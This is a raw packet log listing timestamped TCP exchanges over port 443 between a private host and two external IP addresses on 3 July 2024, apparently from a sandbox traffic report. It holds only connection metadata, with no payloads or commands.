Jul 3, 2024 23:50:41.951011896 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.951081991 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.951117039 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.951165915 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.977648020 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.977670908 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.977745056 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.977758884 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.977792025 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.978682041 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.978698969 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.978753090 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.978760958 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.978796005 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.978816032 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.979502916 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.979520082 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.979568005 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.979574919 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.979614019 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.980525970 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.980540991 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.980593920 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.980602026 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.980644941 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.981446981 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.981462955 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.981506109 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.981513023 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:41.981554031 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:41.981575966 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.041585922 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.041604042 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.041671038 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.041691065 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.041738033 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.068105936 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.068129063 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.068229914 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.068248987 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.068291903 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.068630934 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.068648100 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.068695068 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.068703890 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.068730116 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.068748951 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.069447041 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.069463015 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.069506884 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.069515944 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.069541931 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.069565058 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.069955111 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.069971085 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.070014954 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.070022106 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.070048094 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.070067883 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.074090004 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.074107885 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.074151039 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.074160099 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.074197054 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.074217081 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.074996948 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.075012922 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.075081110 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.075092077 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.075139046 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.075391054 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.075406075 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.075470924 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.075479031 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.075519085 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.132452965 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.132469893 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.132524014 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.132540941 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.132575035 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.132591963 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.158936977 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.158962965 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.159009933 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.159023046 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.159051895 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.159073114 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.159358025 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.159375906 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.159430981 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.159437895 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.159482956 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.159801006 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.159821987 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.159854889 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.159862041 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.159898043 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.159912109 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.160176992 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.160196066 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.160258055 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.160265923 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.160305023 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.160698891 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.160718918 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.160761118 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.160768032 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.160799026 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.160819054 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.161197901 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.161212921 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.161245108 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.161252975 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.161281109 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.161309958 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.161586046 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.161601067 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.161643982 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.161650896 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.161675930 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.161695004 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.223432064 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.223453045 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.223515034 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.223540068 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.223584890 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.249597073 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.249620914 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.249679089 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.249707937 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.249746084 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.250072002 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.250088930 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.250116110 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.250124931 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.250149012 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.250169039 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.250572920 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.250587940 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.250642061 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.250650883 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.250677109 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.250690937 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.250966072 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.250981092 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.251034021 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.251041889 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.251080036 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.251339912 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.251358986 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.251404047 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.251410961 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.251457930 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.251773119 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.251790047 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.251827002 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.251833916 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.251871109 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.251888037 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.252084017 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.252099991 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.252161026 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.252170086 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.252209902 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.314105034 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.314136982 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.314220905 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.314244032 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.314284086 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.341633081 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.341651917 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.341701031 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.341711044 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.341742039 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.341758013 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.342098951 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.342116117 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.342154980 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.342161894 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.342187881 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.342206955 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.342585087 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.342600107 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.342667103 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.342675924 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.342715025 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.343135118 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.343149900 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.343211889 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.343219995 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.343266010 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.343549967 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.343565941 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.343614101 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.343628883 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.343637943 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.343667984 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.343698978 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.343710899 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.343730927 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.343750000 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.343779087 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.344598055 CEST	49777	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.344611883 CEST	443	49777	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.401492119 CEST	49780	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.401535034 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.401628017 CEST	49780	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.401865959 CEST	49780	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.401880980 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.439423084 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:42.439457893 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:42.439707994 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:42.439919949 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:42.439933062 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:42.925467968 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.925750971 CEST	49780	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.925776958 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.926136971 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.927225113 CEST	49780	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.927294970 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:42.927423954 CEST	49780	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:42.927453041 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.201368093 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.201390982 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.201405048 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.201476097 CEST	49780	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.201505899 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.201621056 CEST	49780	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.202151060 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.202218056 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.202220917 CEST	49780	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.202244043 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.202270031 CEST	49780	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.202303886 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.202348948 CEST	49780	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.203535080 CEST	49780	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.203552961 CEST	443	49780	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.246507883 CEST	49782	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.246524096 CEST	443	49782	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.246587038 CEST	49782	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.246772051 CEST	49783	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.246822119 CEST	443	49783	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.247104883 CEST	49783	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.247232914 CEST	49784	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.247242928 CEST	443	49784	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.247287035 CEST	49784	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.247695923 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.247705936 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.247808933 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.249197006 CEST	49782	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.249207020 CEST	443	49782	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.250462055 CEST	49783	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.250483990 CEST	443	49783	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.250869989 CEST	49784	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.250885010 CEST	443	49784	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.251032114 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.251044035 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.273741961 CEST	49786	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.273753881 CEST	443	49786	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.273922920 CEST	49786	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.274300098 CEST	49786	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.274308920 CEST	443	49786	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.295095921 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:43.295460939 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:43.295480967 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:43.296499014 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:43.296602011 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:43.296612024 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:43.296649933 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:43.301732063 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:43.301795959 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:43.301906109 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:43.342662096 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:43.342674971 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:43.368947983 CEST	49787	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.368988037 CEST	443	49787	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.369410038 CEST	49787	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.388545036 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:43.394535065 CEST	49787	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.394561052 CEST	443	49787	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.519855976 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:43.519880056 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:43.519937038 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:43.519944906 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:43.519953966 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:43.519994020 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:43.641419888 CEST	49781	443	192.168.2.4	52.98.228.50
Jul 3, 2024 23:50:43.641444921 CEST	443	49781	52.98.228.50	192.168.2.4
Jul 3, 2024 23:50:43.762051105 CEST	443	49783	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.763277054 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.770458937 CEST	443	49784	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.782270908 CEST	49784	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.782298088 CEST	443	49784	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.782629967 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.782655954 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.782752037 CEST	49783	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.782762051 CEST	443	49783	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.782881975 CEST	443	49782	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.783030033 CEST	49782	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.783036947 CEST	443	49782	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.783143997 CEST	443	49783	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.783349991 CEST	443	49784	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.783358097 CEST	443	49782	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.783406973 CEST	49784	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.783652067 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.783790112 CEST	49783	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.783796072 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.783864021 CEST	443	49783	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.784109116 CEST	49782	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.784179926 CEST	443	49782	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.784384012 CEST	49784	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.784454107 CEST	443	49784	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.784960032 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.785017967 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.785279989 CEST	49783	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.785310030 CEST	443	49783	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.785418034 CEST	49782	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.785443068 CEST	443	49782	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.785460949 CEST	49784	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.785473108 CEST	443	49784	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.785517931 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.785526037 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.790343046 CEST	443	49786	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.790822029 CEST	49786	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.790828943 CEST	443	49786	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.791796923 CEST	443	49786	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.791855097 CEST	49786	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.792367935 CEST	49786	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.792422056 CEST	443	49786	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.792691946 CEST	49786	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.792699099 CEST	443	49786	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.827052116 CEST	49784	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.827071905 CEST	49785	443	192.168.2.4	185.143.223.70
